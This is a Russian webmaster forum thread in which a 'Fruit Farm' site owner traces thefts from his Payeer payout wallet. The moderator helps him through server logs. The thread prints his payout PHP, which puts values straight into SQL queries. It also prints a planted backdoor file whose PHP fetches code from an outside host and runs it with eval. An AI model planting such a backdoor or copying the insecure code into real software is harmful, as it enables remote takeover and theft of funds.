Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » В помощь вебмастеру » Скрипт Фруктовая ферма.

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки

Открыть новую тему     Написать ответ в эту тему

mihas36



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Доброй ночи.  
В интернете сейчас полно всяких скриптов, Fruit-Farm.
Месяц назад поставил такой, но вот проблема- кто то деняшки ворует.
Кто знаком с этим вопросом, прошу помоч. Защиту какую нибуть поставить.
авто-выплаты на Payeer
 
<div class="s-bk-lf">
    <div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];
 
$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();
 
$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();
 
$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");
 
# Минималка серебром!
$minPay = 50;  
 
?>
<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
 - <a href="http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
 - <a href="http://payeeer.ru/outpay" target="_blank">Вывод средств из payeer</a> <BR /><BR />
 
<center><b>Заказ выплаты:</b></center><BR />
 
<?PHP
    
    function ViewPurse($purse){
        
        if( substr($purse,0,1) != "P" ) return false;
        if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;    
        return $purse;
    }
    
    # Заносим выплату
    if(isset($_POST["purse"])){
        
        $purse = ViewPurse($_POST["purse"]);
        $sum = intval($_POST["sum"]);
        $val = "RUB";
        
        if($purse !== false){
            
                if($sum >= $minPay){
                
                    if($sum <= $user_data["money_p"]){
                        
                        # Проверяем на существующие заявки
                        $db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
                        if($db->FetchRow() == 0){
                                
                                
                            ### Делаем выплату ###    
                            $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
                            if ($payeer->isAuth())
                            {
                                
                                $arBalance = $payeer->getBalance();
                                if($arBalance["auth_error"] == 0)
                                {
                                    
                                    $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                                    
                                    $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                                    if( ($balance) >= ($sum_pay+100)){
                                    
                                    
                                    
                                    $arTransfer = $payeer->transfer(array(
                                    'curIn' => 'RUB', // счет списания
                                    'sum' => $sum_pay, // сумма получения
                                    'curOut' => 'RUB', // валюта получения
                                    'to' => $purse, // получатель (email)
                                    //'to' => '+71112223344',  // получатель (телефон)
                                    //'to' => 'P1000000',  // получатель (номер счета)
                                    'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта WM-Farm")
                                    //'anonim' => 'Y', // анонимный перевод
                                    //'protect' => 'Y', // протекция сделки
                                    //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                                    //'protectCode' => '12345', // код протекции
                                    ));
                                    
                                        if (!empty($arTransfer["historyId"]))
                                        {    
                                        
                                        
                                            # Снимаем с пользователя
                                            $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
                                            
                                            # Вставляем запись в выплаты
                                            $da = time();
                                            $dd = $da + 60*60*24*15;
                                            
                                            $ppid = $arTransfer["historyId"];
                                            
                                            $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)  
                                            VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
                                            
                                            $db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
                                            $db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");
                                            
                                            echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                                            
                                        }
                                        else
                                        {
                                        
                                            echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";    
                                        
                                        }
                                    
                                    
                                    }else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";
                                    
                                }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                                
                            }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                            
                                
                        }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
                            
                        
                    }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
                
                }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />";
        
        }else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";
        
    }
?>
 
<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td>
    <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете серебро для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
    <td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
    <td>
    <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
    <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
    <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
    <input type="hidden" name="val_type" id="val_type" value="RUB" />
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>
 
 
 
<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Серебро</td>
    <td align="center" class="m-tb">Получаете</td>
    <td align="center" class="m-tb">Кошелек</td>
    <td align="center" class="m-tb">Дата</td>
    <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
   
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
   
    if($db->NumRows() > 0){
   
          while($ref = $db->FetchArray()){
        
        ?>
        <tr class="htt">
            <td align="center"><?=$ref["serebro"]; ?></td>
            <td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
            <td align="center"><?=$ref["purse"]; ?></td>
            <td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
            <td align="center"><?=$status_array[$ref["status"]]; ?></td>
          </tr>
        <?PHP
        
        }
   
    }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
   
  ?>
 
   
</table><div class="clr"></div>        
</div>

Всего записей: 11 | Зарегистр. 28-12-2013 | Отправлено: 00:04 03-03-2014
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
mihas36

Цитата:
Месяц назад поставил такой, но вот проблема- кто то деняшки ворует.

откуда и как? осуществляет переводы, которые не должны проходить или что?
без понятия что такое "фруктовая ферма"


----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 00:14 03-03-2014
mihas36



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
А вы в адресной строке введите "Фруктовая ферма" и увидите.  

Всего записей: 11 | Зарегистр. 28-12-2013 | Отправлено: 20:11 03-03-2014
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
mihas36
ну сами подумайте - оно мне надо ?)  
вы пришли со своей проблемой, так опишите ее подробнее, вместо того, чтобы заставлять что то и где то искать.
для того, чтобы поставить "защиту", нужно понять откуда и как уходят деньги.
может дело вообще не в приведенном куске кода.

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 22:41 03-03-2014
mihas36



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Проблема в том что с кошелька Payeer крадут деньги, вероятно через мой сайт с авто выплатами подключенному  к нему.

Всего записей: 11 | Зарегистр. 28-12-2013 | Отправлено: 20:19 04-03-2014
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
mihas36
слишком мало информации.
 
каким образом определяется можно платить или нет?  
если как то вносятся заранее в базу - там и нужно сначала смотреть.
а вообще - лучше смотреть время транзакции, а затем изучать серверные логи в этот промежуток - может в скрипте дыра есть.
 
в данной форме у вас из поля идут 2 значения - кошелек и сумма.
остальных данных и что там происходит у нас нет.


----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 02:10 05-03-2014
mihas36



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
вот нашел в логфайле :  
188.64.170.221 - - [02/Mar/2014:05:17:42 +0400] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_pt.html?money&pay=P3868870 HTTP/1.1" 200 14 "-" "Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16"
 
188.64.170.221 - - [02/Mar/2014:05:17:42 +0400] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_pt.html?money&pay=P3868870 HTTP/1.1" 200 14 "-" "Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16"
 
188.64.170.221 - - [02/Mar/2014:05:18:00 +0400] "GET /favicon.ico HTTP/1.1" 304 0 "http://тут названиесайта.net/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_pt.html?money&pay=P3868870" "Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16"
 
а это комент с Payeerа:
Дата операции:
02.03.2014 в 05:17
ID операции:
7256125
Тип операции:
Перевод
Название:
Я > P3868870
Статус:
выполнен
Сумма списания:
151.29 p
Сумма получения:
151.29 p
Комментарий:
Выплата пользователю - СЃ проекта тут названиесайта.net

Всего записей: 11 | Зарегистр. 28-12-2013 | Отправлено: 22:59 05-03-2014
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
mihas36

Цитата:
GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_pt.html?money&pay=P3868870  

ну, я так понимаю, что это кто то залил левый скрипт - не факт, что это .html файл, иначе бы не было дырой.
 
в другом месте это тоже упоминается как дыра (имеет отношение к другому).
то есть в скрипте, возможно tiny_mce, есть уявзимость (скорее всего просто старая версия редактора). возможно вы не отключили доступ к файловой системе в нем, поэтому злопыхатели могут смотреть файлы на сервере, заливать что то свое.
 
судя по всему - это и есть дыра. точно можно сказать увидев содержимое button_pt.html
 
ну или тема данного редактора уже была с потайной дверью - неиспользуйте скрипты с непонятных сайтов, там может быть оставлена лазейка.

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 23:15 05-03-2014 | Исправлено: Cheery, 23:19 05-03-2014
mihas36



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Спасибо! понятно. вот содержимое button_pt.html:<?PHP
$content = file_get_contents("http://fruit-farm.org/return.php");
eval($content);
?>  
 
я конечно всё удалил с хоста, но как сделать чтоб опять не подбросили?

Всего записей: 11 | Зарегистр. 28-12-2013 | Отправлено: 20:28 06-03-2014
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
mihas36

Цитата:
но как сделать чтоб опять не подбросили?

для этого нужно выяснить способ проникновения.
посмотреть на время появления файла, проверить логи за тот период.
либо обновлять все скрипты до последних версий, читать об открытых уязвимостях в них и так далее.

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 22:01 06-03-2014
AlexeyLexx

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Здравствуйте. Подскажите кто нибудь. Как настроить вывод и пополнение на ферму серебра с пеера.Нужен ли этот файл в корневом каталоге status.php. И если его нет где его взять?
При пополнении с игры через пеер. Деньги приходят на пеер с учетом комиссии за перевод. А на самом сайте вообще не отоброжаеться что что пополнено. При переводе с магазина пеера выдает надпись успешно пополнено и вернуться на страницу игры. Но денег не зачислено.
 
http://xxx.net/status.php

Всего записей: 2 | Зарегистр. 26-07-2015 | Отправлено: 07:56 26-07-2015
Открыть новую тему     Написать ответ в эту тему

Компьютерный форум Ru.Board » Интернет » В помощь вебмастеру » Скрипт Фруктовая ферма.


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru